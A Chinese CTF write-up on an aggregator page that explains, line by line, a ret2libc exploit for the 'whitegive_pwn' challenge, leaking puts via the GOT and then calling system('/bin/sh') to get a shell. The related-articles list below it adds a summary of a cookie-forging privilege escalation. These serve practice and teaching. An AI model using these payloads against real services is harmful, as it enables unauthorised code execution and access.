[SWPUCTF 2021 新生赛]whitegive_pwn

news/2024/11/18 10:37:56/

ret2libc

获取puts函数的PLT(过程链接表)地址、GOT(全局偏移表)地址和_start符号的地址。
pop_rdi = 0x400763:这是pop rdi; ret指令的地址,用于控制rdi寄存器的值,以便调用puts函数。
payload1 = 'a'*(16+8) + p64(pop_rdi) +p64(puts_got) + p64(puts_plt) + p64(start_add):构建第一个攻击载荷。这个载荷首先填充了24个'a'字符(假设栈偏移量为24),然后是pop rdi; ret指令的地址,接着是puts的GOT地址(用于泄露地址),puts的PLT地址(用于实际调用puts),最后是_start地址(程序的入口点)。
p.sendline(payload1):发送第一个攻击载荷到远程服务。
puts_add = u64(p.recv(6).ljust(8,'\x00')):接收6个字节的数据,将其左对齐到8个字节,并转换为64位无符号整数。这个地址是puts函数的地址。
print(hex(puts_add)):打印puts函数的地址。
12-14. 计算libc库的基地址,system函数的地址和/bin/sh字符串的地址。
payload2 = 'a'*(16+8) + p64(pop_rdi) + p64(binsh)+ p64(system_add):构建第二个攻击载荷。这个载荷的结构与第一个类似,但是这次rdi寄存器被设置为/bin/sh字符串的地址,然后调用system函数。
p.sendline(payload2):发送第二个攻击载荷到远程服务。
p.interactive():进入交互模式,允许用户与远程服务进行交互,这通常是为了获取shell。


http://www.ppmy.cn/news/1547960.html

相关文章

LabVIEW弧焊参数测控系统

在现代制造业中,焊接技术作为关键的生产工艺之一,其质量直接影响到最终产品的性能与稳定性。焊接过程中,电流、电压等焊接参数的精确控制是保证焊接质量的核心。基于LabVIEW开发的弧焊参数测控系统,通过实时监控和控制焊接过程中关…

IntelliJ IDEA 2023.2x——图文配置

IntelliJ IDEA 2023.2——配置说明 界面如下图所示 : 绿泡泡查找 “码猿趣事” 查找【idea99】 IntelliJ IDEA 的官方下载地址 IntelliJ IDEA 官网下载地址 一路上NEXT 到结尾: 继续NEXT 下一步:

IL-AD

IL-AD 我们利用机器学习方法来适应纳米孔测序基对齐器,用于核苷酸修饰检测。我们首先应用增量学习技术来改进富含修饰的序列的基对齐,这些序列通常具有高度的生物学兴趣。在解析序列主干后,我们进一步对单个核苷酸进行异常检测,以确定其修饰状态。通过这种方式,我们的管道…

权限系统:权限应用服务设计

今天聊聊权限系统的应用服务设计。 从业务需求的角度来看,权限系统需要解决两个核心问题: 1、菜单渲染与动态展示 当用户成功登录并接入系统后,系统需要动态获取并展示该用户有权限访问的菜单项。 这一过程涉及前端系统与权限系统的交互。前端…

微信小程序进行md5加密 ,base64 转码

封装一个Md5加密的工具 &#xff1a; utils /md5.js function md5(string) { function md5_RotateLeft(lValue, iShiftBits) { return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits)); } function md5_AddUnsigned(lX, lY) { var lX4, lY4, l…

使用shell自动化部署网站脚本

[rootserver ~]# ls / afs boot etc lib lostfound mnt proc run srv test usr bin dev home lib64 media opt root sbin sys tmp var[rootserver ~]# vim test.sh #!/bin/bash#使用nginx搭建test网站num$(ps -ef | grep nginx | grep -v grep …

攻防世界Web-bug

打开链接 先注册一个账号 创建成功&#xff0c;会给一个UID5 抓包的user值就是UID:用户名的md5加密的编码 点击Manage时要求admin用户 利用改包把user改成admin 1:admin的md5值为4b9987ccafacb8d8fc08d22bbca797ba 还要把url上的UID改为1 存在逻辑漏洞&#xff0c;成功越权 …

GIT 入门详解指南

一 、git的安装 使用git之前必须完成git的安装 Git 目前支持 Linux/Unix、Solaris、Mac和 Windows 平台上运行 git 安装教程 二、git 的基本概念 2.0 git基础命令讲解 git 指令使用前准备先使用git命令配置用户的名字和用户的邮箱 //git指令配置用户名 git config --glob…